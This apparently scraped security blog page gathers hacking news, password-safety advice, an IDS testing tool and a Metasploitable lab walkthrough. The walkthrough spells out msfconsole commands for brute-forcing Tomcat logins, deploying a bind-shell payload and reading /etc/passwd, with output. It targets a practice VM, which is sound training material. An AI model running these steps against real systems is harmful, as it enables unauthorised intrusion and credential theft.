Clipboard Hacking: How it's done and how to Prevent It

This is one of the most popular things we do on the internet with our keyboard. "Ctrl+C". We copy data (i.e. email address, passwords, ssn, credit cards etc.) here and there and paste to wherever we want to reuse it. But do you realize that the data you copied are stored in what is called a clipboard temporarily and is accessible to anyone and can be stolen when you visit web sites using a combination of Javascripts and ASP (or PHP, or CGI) to write your data to a dabase on another server.

You might be wondering, how on earth is that possible. Its true and possible and we're going to explain how and how to prevent it from now happening. Just read on and i just hope you haven't copied a credit card number recently.

The Clipboard hack is done by the following Source Code:

Yes, with this simple script any website has the potential of stealing your sensitive information to their database.

Now the good news is this vulnerability can only be found on Internet Explorer and to avoid this clipboard hack problem IE users follow this simple steps.

Go to Internet Options -> Security
Press Custom Level
In the security settings, select disable under Allow paste operation via script.

Advise: I can't say you should stop using IE, though i don't use it but to save yourself from being a victim of this flaw don't use it. PERIOD.

Author: Emmanuel Peters,

Categories: Hacking Tricks, How-tos, IE Bug, Internet Explorer

Anonymous releases Doc's containing Sophisticated Hacking Techniques

Anonymous has issued a beginner's guide to hacking online under the title, School4Lulz, which also contains sophisticated SQL Injection methods used by both Hacking Groups in their Hacking Attacks.

Shortly after the famous hacking group "Lulzsec" announced their disbandment, it now seems the online 'hacktivist' collective are clearly looking for buddies to continue its fight under the banner Operation InfoSec - and one way of recruiting fellow travellers, it seems, is to issue them with a Hacking 101.

School4Lulz is available at the group's 'Lolhackers' site, and provides information on hacking techniques including as the so-called 'SQL injection' method used by both Anonymous and LulzSec in a number of their high-profile hacking attacks. Instructor-in-chief 'Hatter' also dishes out some advice on probing site vulnerabilities.

A downloadable 'Basic to Advance (sic) hacking guide' Zip file containing PDF versions of the school's lessons, has also been posted at a well-known online cyber locker site and file hosting site.

Author: dfgdfg,

Categories: Anonymous, Hacker Group, Hacking Tricks, Hacktivism, Tutorials

Introducing Metasploitable: Testing Your Metasploit Against A Vulnerable Host

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

Note: If you don't know anything about this tool, i strongly recommend this free Metasploit online course called Metasploit Unleashed. It coveres multiple topics on this tool.

You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.

There are various other similar setups you can test out your hacking kung-fu on like:

• Jarlsberg
• Damn Vulnerable Web Application (DVWA)
• Bodgeit Store
• Vicnum

Here are a couple of the things you can do with it in msfconsole:

Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable

msf auxiliary(tomcat_mgr_login) > set RPORT 8180

msf auxiliary(tomcat_mgr_login) > exploit

...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'

Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable

msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat

msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat

msf exploit(tomcat_mgr_deploy) > set RPORT 8180

msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp

msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':

use unix/misc/distcc_exec

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic

msf exploit(distcc_exec) > set RHOST metasploitable

msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'

msf exploit(distcc_exec) > exploit

connecting...

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...

Code exec!

It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM).

Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), it uses the SSH keyfiles to obtain access to the box.

To download Metasploitable, you can pick up the torrent here. A README.txt can be found within the torrent containing passwords (beware of spoilers). If you are an Express customer, you can pick up a direct HTTP download from the Customer Center.

Read more: Metasploit: Introducing Metasploitable

Author: dfgdfg,

Categories: Exploitable, Hacking, Hacking Tricks, hacking with metasploit, metasploit, Metasploitable, vm

How I’d Hack Your Weak Passwords

If you invited me to try and crack your password, you know the one that you use over and over for like every web page you visit, how many guesses would it take before I got it?

Let’s see… here is my top 10 list. I can obtain most of this information much easier than you think, then I might just be able to get into your e-mail, computer, or online banking. After all, if I get into one I’ll probably get into all of them.

1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always making you use a number, aren’t they?)
2. The last 4 digits of your social security number.
3. 123 or 1234 or 123456.
4. “password”
5. Your city, or college, football team name.
6. Date of birth – yours, your partner’s or your child’s.
7. “god”
8. “letmein”
9. “money”
10. “love”

Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t get it yet it will probably only take a few more minutes before I do…

Hackers, and I’m not talking about the ethical kind, have developed a whole range of tools to get at your personal data. And the main impediment standing between your information remaining safe, or leaking out, is the password you choose. (Ironically, the best protection people have is usually the one they take least seriously.)

One of the simplest ways to gain access to your information is through the use of a Brute Force Attack. This is accomplished when a hacker uses a specially written piece of software to attempt to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password Crackers right here.

So, how would one use this process to actually breach your personal security? Simple. Follow my logic:

• You probably use the same password for lots of stuff right?
• Some sites you access such as your Bank or work VPN probably have pretty decent security, so I’m not going to attack them.
• However, other sites like the Hallmark e-mail greeting cards site, an online forum you frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those are the ones I’d work on.
• So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with instructions to try say 10,000 (or 100,000 – whatever makes you happy) different usernames and passwords as fast as possible.
• Once we’ve got several login+password pairings we can then go back and test them on targeted sites.But wait… How do I know which bank you use and what your login ID is for the sites you frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web browser’s cache. (Read this post to remedy that problem.)

And how fast could this be done? Well, that depends on three main things, the length and complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s Internet connection.

Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount of time it would take to generate every possible combination of passwords for a given number of characters. After generating the list it’s just a matter of time before the computer runs through all the possibilities – or gets shut down trying.

Pay particular attention to the difference between using only lowercase characters and using all possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just one capital letter and one asterisk would change the processing time for an 8 character password from 2.4 days to 2.1 centuries.

Password Length	All Characters	Only Lowercase
3 characters 4 characters 5 characters 6 characters 7 characters 8 characters 9 characters 10 characters 11 characters 12 characters 13 characters 14 characters	0.86 seconds 1.36 minutes 2.15 hours 8.51 days 2.21 years 2.10 centuries 20 millennia 1,899 millennia 180,365 millennia 17,184,705 millennia 1,627,797,068 millennia 154,640,721,434 millennia	0.02 seconds .046 seconds 11.9 seconds 5.15 minutes 2.23 hours 2.42 days 2.07 months 4.48 years 1.16 centuries 3.03 millennia 78.7 millennia 2,046 millennia

Remember, these are just for an average computer, and these assume you aren’t using any word in the dictionary. If Google put their computer to work on it they’d finish about 1,000 times faster.

Now, I could go on for hours and hours more about all sorts of ways to compromise your security and generally make your life miserable – but 95% of those methods begin with compromising your weak password. So, why not just protect yourself from the start and sleep better at night?

Believe me, I understand the need to choose passwords that are memorable. But if you’re going to do that how about using something that no one is ever going to guess AND doesn’t contain any common word or phrase in it.

Here are some password tips:

1. Randomly substitute numbers for letters that look similar. The letter ‘o’ becomes the number ’0′, or even better an ‘@’ or ‘*’. (i.e. – m0d3ltf0rd… like modelTford)
2. Randomly throw in capital letters (i.e. – Mod3lTF0rd)
3. Think of something you were attached to when you were younger, but DON’T CHOOSE A PERSON’S NAME! Every name plus every word in the dictionary will fail under a simple brute force attack.
4. Maybe a place you loved, or a specific car, an attraction from a vacation, or a favorite restaurant?
5. You really need to have different username / password combinations for everything. Remember, the technique is to break into anything you access just to figure out your standard password, then compromise everything else. This doesn’t work if you don’t use the same password everywhere.
6. Since it can be difficult to remember a ton of passwords, I recommend using Roboform for Windows users. It will store all of your passwords in an encrypted format and allow you to use just one master password to access all of them. It will also automatically fill in forms on Web pages, and you can even get versions that allow you to take your password list with you on your PDA, phone or a USB key. If you’d like to download it without having to navigate their web site here is the direct download link.
7. Mac users can use 1Password. It is essentially the same thing as Roboform, except for Mac, and they even have an iPhone application so you can take them with you too.
8. Once you’ve thought of a password, try Microsoft’s password strength tester to find out how secure it is.

Another thing to keep in mind is that some of the passwords you think matter least actually matter most. For example, some people think that the password to their e-mail box isn’t important because “I don’t get anything sensitive there.” Well, that e-mail box is probably connected to your online banking account. If I can compromise it then I can log into the Bank’s Web site and tell it I’ve forgotten my password to have it e-mailed to me. Now, what were you saying about it not being important?

Often times people also reason that all of their passwords and logins are stored on their computer at home, which is save behind a router or firewall device. Of course, they’ve never bothered to change the default password on that device, so someone could drive up and park near the house, use a laptop to breach the wireless network and then try passwords from this list until they gain control of your network – after which time they will own you!

Now I realize that every day we encounter people who over-exaggerate points in order to move us to action, but trust me this is not one of those times. There are 50 other ways you can be compromised and punished for using weak passwords that I haven’t even mentioned.

I also realize that most people just don’t care about all this until it’s too late and they’ve learned a very hard lesson. But why don’t you do me, and yourself, a favor and take a little action to strengthen your passwords and let me know that all the time I spent on this article wasn’t completely in vain.

Please, be safe. It’s a jungle out there.

Credit goes to Onemansblog

Author: dfgdfg,

Categories: Hacking, Hacking Tricks

Microsoft downplays IE 'cookiejacking' bug

Microsoft today downplayed the threat posed by an unpatched vulnerability in all versions of Internet Explorer (IE) that an Italian researchers has shown can be exploited to hijack people's online identities.

The bug, which has been only discussed and not disclosed in detail, was part of an attack technique described by Rosario Valotta, who dubbed the tactic "cookiejacking," a play on "clickjacking," an exploit method first revealed in 2008.

Valotta combined an unpatched bug, or "zero-day," in IE with a twist on the well-known clickjacking tactic to demonstrate how attackers can steal any cookie for any site from users duped into dragging and dropping an object on a malicious Web page.

He had demonstrated the attack at a pair of security conferences in Amsterdam and Zurich earlier this month, then published more information on his blog Monday.

By hijacking site cookies from IE7, IE8 and even IE9, attackers would be able to access victims' Web email, Facebook and Twitter accounts; or impersonate them on critical sites that encrypt traffic, like online banks and retail outlets.

Jeremiah Grossman, co-founder and CTO of WhiteHat Security, called Valotta's attack "clever" and said he could see hackers taking to it as a fallback to clickjacking, which he and Robert Hansen uncovered and publicized nearly two years ago. "In the event they can't find a cross-site scripting or clickjacking vulnerability, this would be a nice fallback plan for [attackers]," Grossman said.

But Microsoft didn't think cookiejacking was much to worry about.

"Given the level of required user interaction, this issue is not one we consider high risk in the way a remote code execution would possibly be to users," said Jerry Bryant, group manager with the Microsoft Security Response Center (MSRC). "In order to possibly be impacted, a user must visit a malicious Web site and be convinced to click and drag items around the page in order for the attacker to target a specific cookie from a Web site that the user was previously logged into."

Grossman strongly disagreed.

"I think they're wrong," he said. "Like many esoteric attack techniques, until they've seen it used in the wild, they'll downplay it. It's actually a very simple attack, but it's not technically difficult, so their take is 'Nothing new to see here.'"

Valotta's proof-of-concept attack was relatively simple: He built a Facebook game that baited users with a simple puzzle of an attractive woman, and with it was able to collect dozens of cookies from unsuspecting Facebook users.

"I published this game online on Facebook and in less than three days, more than 80 cookies were sent to my server," Valotta told the Reuters news service this week.

The puzzle required users to drag and drop pieces on the Web page; unbeknownst to the victims, when they did so they actually dragged cookies to a specific spot on the screen where a clickjacking attack captured the data before sending it Valotta.

Valotta said that all versions of IE, including the just-released IE9, on all supported editions of Windows, including XP, Vista and Windows 7, were vulnerable to cookiejacking attacks.

Bryant added that the IE vulnerability was not serious enough to trigger an emergency, or "out-of-band" security update. "We are also not aware of it being used in any active way outside of the demo at [the Amsterdam] Hack in the Box [conference], he said.

Author: dfgdfg,

Categories: Hacking Tricks, IE Bug, Microsoft

Sony's PlayStation Network to reopen in Asia

Sony's PlayStation Network online gaming service will reopen for millions of gamers across Asia on Saturday, more than five weeks after it was taken offline following a cyber attack.

Sony pulled the plug on the PlayStation Network and the companion Qriocity audio and video streaming service on April 20, a day after detecting what it later called a "very sophisticated" intrusion.

When service resumes on Saturday in Japan, Taiwan, Singapore, Malaysia, Indonesia and Thailand, there will only be two more countries where service is still offline: South Korea and Hong Kong. Sony is still in discussions with authorities in those markets and can't name a date for the resumption of services in the two countries.

"It's going to take a little while longer," said Satoshi Fukuoka, a spokesman for Sony Computer Entertainment in Tokyo.

Gamers in Asia were kept waiting while Sony briefed authorities in several countries on the hack and its response, but service returned for users in North America, Europe, the Middle East, Australia and New Zealand on May 14 and 15.

The incident began when an unknown hacker or hackers penetrated three firewalls to get inside Sony's system and steal data on all 77 million registered accounts.

The stolen data included user names, e-mail addresses, login IDs and passwords. It was originally feared that millions of credit card numbers had also been leaked, but a subsequent computer forensics investigation failed to find any evidence that the credit card database had been accessed by the attacker, said Sony.

PlayStation users are required to download a firmware update for the console before they can reconnect to the network. Then, as a security measure, users must change their password upon login.

Sony has initially resumed a subset of the full PlayStation Network and Qriocity services. Back online are: online gaming, playback of already rented video, "Music Unlimited" online audio streaming, access to third-party services like Netflix and Hulu, PlayStation Home and friends features such as chat.

Full service is expected to resume in all markets, except South Korea and Hong Kong, by the end of May.

The attack and Sony's response to it will cost the company around ¥14 billion (US$170 million) this financial year, it said Monday. That includes the cost of calling in several computer security companies, a rebuild of its security system, identity theft monitoring for users in some countries and the offering of several free games to users.

Author: dfgdfg,

Categories: Hacking Tricks, PlayStation, Sony

pytbull – Intrusion Detection/Prevention System (IDS/IPS) Testing Framework

pytbull is an Intrusion Detection/Prevention System (IDS/IPS) Testing Framework for Snort, Suricata and any IDS/IPS that generates an alert file. It can be used to test the detection and blocking capabilities of an IDS/IPS, to compare IDS/IPS, to compare configuration modifications and to check/validate configurations.

The framework is shipped with about 300 tests grouped in 9 testing modules:

• clientSideAttacks: this module uses a reverse shell to provide the server with instructions to download remote malicious files. This module tests the ability of the IDS/IPS to protect against client-side attacks.
• testRules: basic rules testing. These attacks are supposed to be detected by the rules sets shipped with the IDS/IPS.
• badTraffic: Non RFC compliant packets are sent to the server to test how packets are processed.
• fragmentedPackets: various fragmented payloads are sent to server to test its ability to recompose them and detect the attacks.
• multipleFailedLogins: tests the ability of the server to track multiple failed logins (e.g. FTP). Makes use of custom rules on Snort and Suricata.
• evasionTechniques: various evasion techniques are used to check if the IDS/IPS can detect them.
• shellCodes: send various shellcodes to the server on port 21/tcp to test the ability of the server to detect/reject shellcodes.
• denialOfService: tests the ability of the IDS/IPS to protect against DoS attempts
• pcapReplay: enables to replay pcap files

It is easily configurable and could integrate new modules in the future.

There are basically 6 types of tests:

• socket: open a socket on a given port and send the payloads to the remote target on that port.
• command: send command to the remote target with the subprocess.call() python function.
• scapy: send special crafted payloads based on the Scapy syntax
• multiple failed logins: open a socket on port 21/tcp (FTP) and attempt to login 5 times with bad credentials.
• client side attacks: use a reverse shell on the remote target and send commands to it to make them processed by the server (typically wget commands).
• pcap replay: enables to replay traffic based on pcap files

The official documentations is available here: pytbull documentation.

Changes/Improvements in V1.1

• Issue #2 fixed (test number incrementing twice just after the last test from multipleFailedLogins test)
• Issue #3 fixed (pcapReplay module not present in the checks on STDOUT)
• Code factoring in pytbull.py
• Timing options are now in parameters (config.cfg)
• Automatically checks and informs if a new version is available (use PROXY section in the configuration file if needed)
• New basic checks: Checks that paths are valid
• SVN tags added in source code

You can download pytbull here:

pytbull-1.1.tar.bz2

Or read more here.

Author: dfgdfg,

Categories: Hacking Tricks, pytbull, pytbull intrusion, Remote file Intr

VUPEN Whitehats break out of Google Chrome sandbox

Researchers say they've developed attack code that pierces key defenses built into Google's Chrome browser, allowing them to reliably execute malware on end user machines.

The attack contains two separate exploits so it can bypass the security counter measures, which include address space layout randomization (or ASLR), data execution prevention (or DEP), and a “sandbox” designed to isolate browser functions from core operating-system operations. So far, there have been relatively few reported exploits that can penetrate the sandbox, and that's one of the reasons the browser has managed to emerge unscathed during the annual Pwn2Own hacker competition for three years in a row.

“While Chrome has one of the most secure sandboxes and has always survived the Pwn2Own contest during the last three years, we have now uncovered a reliable way to execute arbitrary code on any installation of Chrome despite its sandbox, ASLR and DEP,” researchers from France-based Vupen Security wrote in a blog post published on Monday.

They included a video showing the latest version of Chrome running on a 64-bit version of Windows 7. By loading the address of a specially designed website, the researchers are able to force the browser to download and run a calculator application without crashing or showing any other signs of anything amiss.



The Vupen researchers said they plan to share technical details of the exploit only with government customers “for defensive and offensive security.” Neither Google nor the public will be privy to the specifics.

“We're unable to verify VUPEN's claims at this time as we have not received any details from them,” a Google spokesman said. “Should any modifications become necessary, users will be automatically updated to the latest version of Chrome.”

Google to date has awarded more than $150,000 under its bug bounty program, which pays as much as $3133.7 for reports of serious security bugs.

As is typical with attacks that bypass security sandboxes, the Vupen proof-of-concept actually contains two separate exploits, said Chaouki Bekrar, the company's CEO. In an email, he expanded:

The first one results in a memory disclosure and corruption leading to the bypass of ASLR/DEP and execution of the first payload as low integrity level (inside the sandbox). A second payload is then used to exploit another vulnerability which allows the bypass of the sandbox and execution of the final payload with Medium integrity level (outside the sandbox).

Bekrar described one of the exploited flaws as a memory-corruption vulnerability and the other as a design error. ®

Author: dfgdfg,

Categories: Google Chrome, Hacking Tricks

Chat Anonymously through Command Prompt

1.What you need? > you need your friend's IP Address and Command Prompt

2.Open Notepad and write this code :

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

3.Save this as "Messenger.Bat".

4.Open command prompt

5.Drag bat file over to Command Prompt and press Enter

6.This should came up

7.Now, type the IP Address of the computer you want to contact and press enter
You will see something like this:

8.Now all you need to do is type your message and press Enter.

Enjoy.

Dont forgot to post your reply and share it with your friends.

Author: dfgdfg,

Categories: CMD Hack, Hacking, Hacking Tricks

Skype for Mac update will fix a dangerous security hole

VOICE OVER IP (VoIP) and chat Skype for Mac users will get an update this week closing a dangerous security hole that can allow a hacker to take over a Mac computer simply by sending a message.

Gordon Maddern of security firm Pure Hacking first discovered the vulnerability and created a proof of concept exploit using the Metasploit tool. He said, "The long and the short of it is that an attacker needs only to send a victim a message and they can gain remote control of the victim's Mac. It is extremely wormable and dangerous."

Skype didn't make it easy for Maddern to flag the hole, with the researcher claiming he had "a lot of trouble trying to find the right person to notify". Then over a month later, Maddern thought the vulnerability was still open as Skype hadn't informed him of any patch release.

But it turns out that Skype did release a patch, but very, very quietly. In a blog post, Adrian Asher of Skype security said it released a patch for the problem on 14 April, but only a manual update as there were no reports of the exploit being used in the wild. Users aren't prompted for the update, but can download it now by clicking on 'Check for Updates'.

This week will see an update for Skype for Mac that will notify users with a prompt that they need to download it. This release will carry some additional updates and bug fixes.

Skype has been pretty busy on the security front recently. Last month there were some fairly major vulnerabilities with the Skype Android app.

Author: dfgdfg,

Categories: Hack Pro, Hacking Tricks, Skype

Learn How to Hack Like A Pro From Top Hacking Sites

Whether you’re a college student, a middle-aged networking guru or a wife and mother fascinated by the world of online games – everyone occasionally comes across a situation where some form of hacking would make life a whole lot easier.

Maybe you’ve lost the license that came with your legitimate software package that you paid for. Maybe you want to make a backup copy of your favorite DVD movie, but there’s copy-protection encoded onto the disk. Or maybe you’re just stuck on a popular online game and you want to know if there are any hacks available to level up in the game without the required effort.

Whatever your specific needs or situation – I’m not here to judge. In the field of computers and Internet technologies, just about everything is written in one programming language or another. No programmer is perfect – they all make mistakes. There are back doors, secret codes and vulnerabilities in just about any application you come across. Because of that, if you learn how to hack on your own, or just following the efforts of active hacking communities can provide you with tremendous eye-opening insight into the inner-workings of even your most “trusted” software applications.

Where You Can Go To Learn How To Hack Like a Pro

One thing that’s obvious when you visit the websites where professional hackers hang out – there’s so much about programming that even the most seasoned professional programmers don’t know. Professional hackers are an exceptional, amazing and terrible breed of individuals all packaged into one. While I write this, I realize that I am also describing over half of our readership – you know who you are! These folks take programming to an extreme that’s simply astounding when you see it in action.

While many of us write applications using all of the standard techniques that you learn in programming classes in college, these folks take programming into a realm where there are no rules. They can test all aspects of an application until they find a chink in the armor, and then exploit those vulnerabilities.

As we explore the world of hacking, it should be noted that there are two major forms of hacking – we’ll call it “white hat” and “black hat.” The “white hat” hackers call themselves “ethical hackers,” in that they find vulnerabilities and exploits only to make the programming and application communities more secure for everyone. However, there’s a whole other community of hackers who find vulnerabilities to do nothing more than exploit them as much as humanly possible. Now that you know what sort of community you may be entering, let’s get on with the list of top sites where you can learn how to hack.

#1 – CyberXtreme: Hacking and Warez

CyberXtreme is an impressive forum with a significant hacking section, but also entire sections on technology, graphics and even a tech support area. Here you’ll find cracks, secret codes, free download packages (some containing cracked software which may be illegal to download in your area, so be careful). The forum is very protective of its content, so you’ll have to register with a valid email address before you can even get a glimpse of the content that’s on the forums.

The hacking section is very detailed and, as shown above, includes not only free tools and software exploits, but if you want to learn some coding tricks from the resident hacking gurus, just enter the “Coding & Programming” forum and you’ll get your fill. Before long you’ll be writing up your own customized hacking tools!

#2 – EvilZone Hacking Forums

While the name, EvilZone, isn’t exactly the most inviting – it is easily one of the largest forum communities that you’ll find on the subject of hacking. With over 6,500 members and over 100,000 posts (and counting), this community likely has the skills and knowledge to answer any programming question you could possibly have. Just be careful about coming across as a “noob” – these guys don’t handle newcomers with kid gloves, so be careful.

You’d definitely be best off working through the programming and encyclopedia sections first, where you’ll find projects, tutorials and a lot more that will help you become educated and well-versed in hacking techniques and terminology.

#3 – Hack a Day

While I certainly don’t want to offer a nod to any blogs that may be considered competition, you really have to give credit where credit is due when it comes to a particular niche like hacking – and Hack a Day definitely offers an amazing library of information for anyone looking for specific categories like cellphones, GPS or digital cameras. You’ll find all hacks organized by category in the right column.

More than any other site, this particular “hacking” site is very much hardware based, and they redefine the meaning of the word hacking by literally hacking up electronic devices like a Gameboy or a digital camera and completely modifying it. Of course you’ll still find the occasional software hack, such as how to remove the Blackberry download limit.

While I personally don’t find the articles themselves very detailed (as an EE, I like schematics and elaborate descriptions) – but the site makes up for it with video demonstrations throughout.

#4 – Hack In The Box

If any site could be classified as the most comprehensive site to learn how to hack, this would be it. Hack In The Box is more about security and ethical hacking than anything else – and that’s more than obvious reviewing the classes and conferences listed on the main page.

The manage page is an informational portal that includes information from all other areas, including recent forum posts, conference updates, E-zine and news articles and a lot more. To be honest, there’s so much information stuffed on the main page that it’s almost overwhelming.

 

There’s a lot of material available, but if you’ve so interested in learning how to hack that you wouldn’t mind paying to attend a class or a conference – then this is the place to do it.

#5 – Hack This Site!

As always, saving the best for last – I’d like to introduce Hack This Site! This website is one of the coolest, free programmer training sites where you can learn how to hack accepting one of the challenges.

The site designers offer various “missions,” where you need to figure out the vulnerability of a site and then attempt to use your new-found hacking skills (you’ve carefully studied all of the articles on the site, right?) to hack the web page. Missions include Basic, Realistic, Application, Programming and many others.

If you’re able to figure out how to properly hack any of the most difficult missions on this site, then you’ve definitely earned the title of professional hacker.

Have you ever tried any of the tips offered at any of these websites and do they work? Do you have any good resources of your own for readers to learn how to hack like the pros? Share your insight in the comments section below.

Author: dfgdfg,

Categories: Ethical Hacking, Hacking Tricks, Learn How to Hack

Facebook To Buy Skype? [REPORT]

Two reliable sources say Facebook CEO Mark Zuckerberg is talking to Skype about either buying the company or forming a joint venture, according to Reuters.

One of the sources said Facebook is considering a buyout of Skype at a price of between $3 billion and $4 billion.

The other source told Reuters the deal won’t be a purchase by Facebook but rather a joint venture between Facebook and Skype.

Skype and Facebook are no strangers. In October, when Skype released its version 5.0 software for Windows, it included a Facebook tab that let users chat or call Facebook friends via Skype, right from the Facebook newsfeed that can be viewed from within the Skype application.

Facebook isn’t the only one chasing Skype. One of the sources talking to Reuters added that Google was also in “early talks” with Skype about a joint venture.

Update: When we contacted Skype Wednesday night, the company responded, “As a practical matter, we avoid commenting on rumor and speculation.”

Let us know in the comments what you think of this deal and who stands to gain the most.

Author: dfgdfg,

Categories: Facebook, Hacking Tricks, Microsoft, Skype

Iranian hacker claims he acted alone in stealing digital SSL certificates

Hacker says theft of certificates used for online transactions was retribution for the joint authorship by the US and Israel of the Stuxnet worm

Hacker says theft of certificates used for online transactions was retribution for the joint authorship by the US and Israel of the Stuxnet worm

An Iranian hacker has claimed he acted alone in stealing digital security certificates used for online transactions by some of the web's largest sites, including Google, Microsoft, Skype and Yahoo.

He said the act had been a form of retribution for the joint authorship by the US and Israel of the Stuxnet worm, which was allegedly designed by government-sponsored teams to target Iran's nuclear reprocessing facilities.

The claim follows suspicions last week that the hack was sponsored by the Iranian government and was an attempt to destabilise online transactions and erode trust in online security. The "SSL" certificates are used to confirm the identity of a site to the user – typically by displaying a padlock icon in the browser bar (on addresses beginning with https:).

The hacker posted detailed information, including names, accounts and passwords, about how he broke into the systems of InstantSSL.it, an Italian company that resold certificates supplied by a US-based company called Comodo.

He also insisted, in a posting on Pastebin.com – a code-sharing site which is frequently used by hackers and the Anonymous group to send messages to the world – that "we have no relation to Iranian Cyber Army ... we just hack and own ... I'm a single hacker with [the] experience of 1,000 hackers."

He said he began by trying to hack the SSL protocol and then discovered a weakness in InstantSSL.it, and exploited it.

Mikko Hypponen, a security expert at F-Secure, said the hacker's postings on Pastebin "look convincing" but added "whether they were posted by a 21-year-old lone gunman or the Iranian government PR department, I don't know".

Comodo had acknowledged the attack on 23 March, and said that eight days earlier an unknown hacker or hackers had acquired nine fake certificates for logon sites for Hotmail, Gmail, the internet phone service Skype and for Yahoo Mail. The hack also acquired a certificate for the add-on site for Mozilla's Firefox browser.

Acquiring those certificates would mean the hacker could set up other fake websites and would be able to persuade a browser they were in fact one of those sites, which could be disastrous for the security of those using them.

Microsoft confirmed the theft last Wednesday.

Comodo's chief executive, Melih Abdulhayoglu, said last week that "circumstantial evidence" pointed to a state-backed attack by Iranian hackers: "We believe these are politically motivated, state-driven/funded attacks," he said. He suggested that the Iranian government planned to create fake sites that would fool activists inside the country into thinking they were on a secure site which could not be tapped, but instead would collect their details.

The hacker denies this emphatically, insisting his actions were to point up what he called duplicitous behaviour by companies such as Microsoft in allowing the security holes exploited by Stuxnet to remain open for so long, to the advantage of the US and Israeli governments:

"Anyone inside Iran with problems, from fake green movement to all MKO members and two-faced terrorists, should afraid of me personally. I won't let anyone inside Iran harm people of Iran, harm my country's Nuclear Scientists, harm my Leader (which nobody can), harm my President, as I live, you won't be able to do so. as I live, you don't have privacy in internet, you don't have security in digital world, just wait and see ... By the way, you already have seen it or you are blind, is there any larger target than a CA [Certificate Authority] in internet?"

Hypponen pointed out that it was odd for a lone hacker apparently acting at random to have created fake certificates for nine principal sites or systems used for communication – hinting that it would be very convenient for the Iranian government to have those faked certificates available if it wanted to monitor dissidents inside its borders.

Author: dfgdfg,

Categories: Hacking, Hacking Tricks

GSM Cellular Crypto Code Breaking

Most people think that “hackers” are just a bunch of criminals. But those of us who are real hackers know better. We know that to be a true hacker, you must dare to discover new things, and have the moral strength to turn your knowledge to good.

In this brief Guide we give an example of how real hackers are working to reveal to the world how to crack open the technique that is supposed to provide privacy to GSM (Global System for Mobile communications) cell phone calls.

Why would anyone want to ruin the privacy of GSM cell phone calls? The problem is that this privacy has already been ruined by those who already know how to crack this code, for example spy agencies. Who knows, perhaps crime organizations also are able to snoop on GSM phone calls. This is a big deal because over three million people are using GSM phone and they don't realize they could be snooped upon.

Enter hackers – specifically, a group led by a member of one of the oldest hacker groups around, Germany's Chaos Computer Club. Karsten Nohl, now chief research scientist with H4RDW4RE, a Sunnyvale, Calif.-based security research firm.

Nohl's solution to this problem was to mount “what could be the most ambitious attempt yet to compromise the GSM phone system.... Others have cracked the A5/1 encryption technology used in GSM before, but their results have remained secret. However, Nohl, who earned a Ph.D. in computer science at the University of Virginia and is a member of Germany's Chaos Computer Club (CCC), intends to go one big step further: By the end of the year, he plans to make the keys available to everyone on the Internet.”

Karsten Nohl discusses Hacking A5 GSM Encryption.  View video here.  Download slides here.

See Nohl's article, Reverse-Engineering a Cryptographic RFID Tag

Author: dfgdfg,

Categories: Ethical Hacking, GSM, GSM Cellular Crypto Code, Hacking Tricks

Recent Facebook Hacks for 2011

This Facebook Hacks and Tricks will help improve your knowledge around the Facebook Platform. There are ways tech geeks use Facebook and with this Hacks and Tricks you will get to know how.

